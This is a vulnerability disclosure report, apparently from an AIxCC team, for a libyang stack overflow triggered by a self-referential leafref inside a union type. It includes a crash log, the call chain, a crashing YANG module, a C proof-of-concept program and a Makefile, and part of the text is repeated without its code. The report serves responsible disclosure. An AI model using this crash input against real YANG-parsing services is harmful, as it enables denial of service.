Summary
Missing cycle detection when storing union values containing circular leaf references leads to infinite recursion and stack overflow.
Introduction
Hi developers,
We (Joshua Wang, Dongkwan Kim, and a lot of our team members) are Team Atlanta from Georgia Institute of Technology, winners of DARPA's AI Cyber Challenge (AIxCC). We're reaching out to submit a vulnerability report that we identified using our system, Atlantis, in your project. This effort is recommended by DARPA's initiative to apply competition technologies to real-world open source projects.
We have built an AI-enhanced CRS (Cyber Reasoning System) for automatic vulnerability detection and repair.
AIxCC Competition: https://aicyberchallenge.com/
Our Team: https://team-atlanta.github.io/
Looking forward to your response and please check details below!
Details
The input sets up a leaf whose type is a union of a single leaf reference to itself. It then sets a default value which triggers type validation.
Crash log:
==2854332==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc70bf9f28
(pc 0x55655dda2385 bp 0x7ffc70bfa760 sp 0x7ffc70bf9f30 T0)
#0 0x55655dda2385 in __asan_memset
#1 0x55655e02d362 in lyplg_type_store_union /src/libyang/src/plugins_types/union.c:474:5
#2 0x55655e02ba44 in lyplg_type_store_leafref /src/libyang/src/plugins_types/leafref.c:60:10
#3 0x55655e031100 in union_store_type /src/libyang/src/plugins_types/union.c:278:10
#4 0x55655e030484 in union_find_type /src/libyang/src/plugins_types/union.c:346:15
#5 0x55655e02d6bc in lyplg_type_store_union /src/libyang/src/plugins_types/union.c:495:15
[Recursion continues indefinitely...]
SUMMARY: AddressSanitizer: stack-overflow
/src/libyang/src/plugins_types/union.c:474:5 in lyplg_type_store_union
Entry point and call flow
The vulnerability is triggered when parsing a YANG module via lys_parse_mem():
Entry point and call flow:
lys_parse_mem()
└─> lys_parse()
└─> [Module compilation and default value processing]
└─> lys_compile_unres_dflt()
└─> type_plg->store()
└─> lyplg_type_store_union()
Code locations:
lys_compile_unres_dflt validates the default value against the type. Since the type is a union of a self-referential leafref, the bug is triggered.
Recursion cycle
The infinite recursion occurs in the following pattern:
A. lyplg_type_store_union() [union.c:465]
- Called to store/validate a default value for a union type
- Line 499: Calls union_find_type() to determine which union member matches
B. union_find_type() [union.c:324]
- Iterates through union member types (line 347)
- Line 348: Calls union_store_type() for each member type
C. union_store_type() [union.c:216]
- Line 279: Calls the type plugin's store() function
- For leafref types, this calls lyplg_type_store_leafref()
D. lyplg_type_store_leafref() [leafref.c:49]
- Line 60: Delegates to the realtype's store() function
- The realtype is the union type itself (circular reference)
- This calls lyplg_type_store_union() again → BACK TO A
PoC
Crashing config file:
module leafref-unions {
namespace "http://example.com/leafref-unions";
prefix "lu";
container config {
leaf circular-ref-1 {
type union {
type leafref {
path "../circular-ref-1";
}
}
default "circular-value";
}
}
}
Sample PoC code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libyang.h"
/* The crashing YANG module */
static const char *yang_module =
"module leafref-unions {\n"
" namespace \"http://example.com/leafref-unions\";\n"
" prefix \"lu\";\n"
" \n"
" container config {\n"
" leaf circular-ref-1 {\n"
" type union {\n"
" type leafref {\n"
" path \"../circular-ref-1\";\n"
" }\n"
" }\n"
" default \"circular-value\";\n"
" } \n"
" }\n"
"}\n";
int main(void)
{
struct ly_ctx *ctx = NULL;
struct lys_module *module = NULL;
LY_ERR err;
/* Disable logging to reduce noise */
ly_log_options(0);
/* Create a new libyang context */
err = ly_ctx_new(NULL, 0, &ctx);
if (err != LY_SUCCESS) {
fprintf(stderr, "Failed to create libyang context\n");
return EXIT_FAILURE;
}
printf("Parsing YANG module with circular leafref in union type...\n");
printf("This should trigger infinite recursion and crash.\n\n");
/* Parse the YANG module - this will trigger the vulnerability */
err = lys_parse_mem(ctx, yang_module, LYS_IN_YANG, &module);
if (err == LY_SUCCESS) {
printf("ERROR: Module parsed successfully (unexpected!)\n");
} else {
printf("Parsing failed with error code: %d\n", err);
const struct ly_err_item *err_item = ly_err_first(ctx);
if (err_item) {
printf("Error message: %s\n", err_item->msg);
}
}
/* Cleanup */
ly_ctx_destroy(ctx);
return EXIT_SUCCESS;
}
Makefile:
# Makefile for libyang_1b_poc.c
# Assumes libyang is built in ./libyang/build
CC = gcc
CFLAGS = -Wall -Wextra -g -fsanitize=address -fsanitize=undefined
LDFLAGS = -fsanitize=address -fsanitize=undefined
# Paths - adjust these if libyang is installed elsewhere
LIBYANG_BUILD_DIR = ./libyang/build
LIBYANG_SRC_DIR = ./libyang
# Include directories
# Order matters: build/libyang must come first so ly_config.h can be found
# For building against source tree (matches CMake build setup):
INCLUDES = -I$(LIBYANG_BUILD_DIR)/libyang -I$(LIBYANG_SRC_DIR)/src -I$(LIBYANG_SRC_DIR)/src/plugins_exts
# For installed libyang, use: pkg-config --cflags libyang
# Library paths
LIBS = -L$(LIBYANG_BUILD_DIR) -lyang -lpcre2-8
# Add RPATH so the program can find libyang at runtime
LDFLAGS += -Wl,-rpath,$(LIBYANG_BUILD_DIR)
# Source and target
SRC = libyang_1b_poc.c
TARGET = libyang_1b_poc
.PHONY: all clean run
all: $(TARGET)
$(TARGET): $(SRC)
$(CC) $(CFLAGS) $(INCLUDES) -o $(TARGET) $(SRC) $(LIBS) $(LDFLAGS)
run: $(TARGET)
@echo "Running proof-of-concept (this will crash with stack overflow)..."
@./$(TARGET) || true
clean:
rm -f $(TARGET)
To run, make && make run
Impact
Stack overflow may lead to denial-of-service.
Summary
Missing cycle detection when storing union values containing circular leaf references leads to infinite recursion and stack overflow.
Introduction
Hi developers,
We (Joshua Wang, Dongkwan Kim, and a lot of our team members) are Team Atlanta from Georgia Institute of Technology, winners of DARPA's AI Cyber Challenge (AIxCC). We're reaching out to submit a vulnerability report that we identified using our system, Atlantis, in your project. This effort is recommended by DARPA's initiative to apply competition technologies to real-world open source projects.
We have built an AI-enhanced CRS (Cyber Reasoning System) for automatic vulnerability detection and repair.
AIxCC Competition: https://aicyberchallenge.com/
Our Team: https://team-atlanta.github.io/
Looking forward to your response and please check details below!
Details
The input sets up a leaf whose type is a union of a single leaf reference to itself. It then sets a default value which triggers type validation.
Crash log:
Entry point and call flow
The vulnerability is triggered when parsing a YANG module via lys_parse_mem():
Entry point and call flow:
Code locations:
lys_compile_unres_dfltvalidates the default value against the type. Since the type is a union of a self-referential leafref, the bug is triggered.Recursion cycle
The infinite recursion occurs in the following pattern:
A. lyplg_type_store_union() [union.c:465]
B. union_find_type() [union.c:324]
C. union_store_type() [union.c:216]
D. lyplg_type_store_leafref() [leafref.c:49]
PoC
Crashing config file:
Sample PoC code:
Makefile:
To run,
make && make runImpact
Stack overflow may lead to denial-of-service.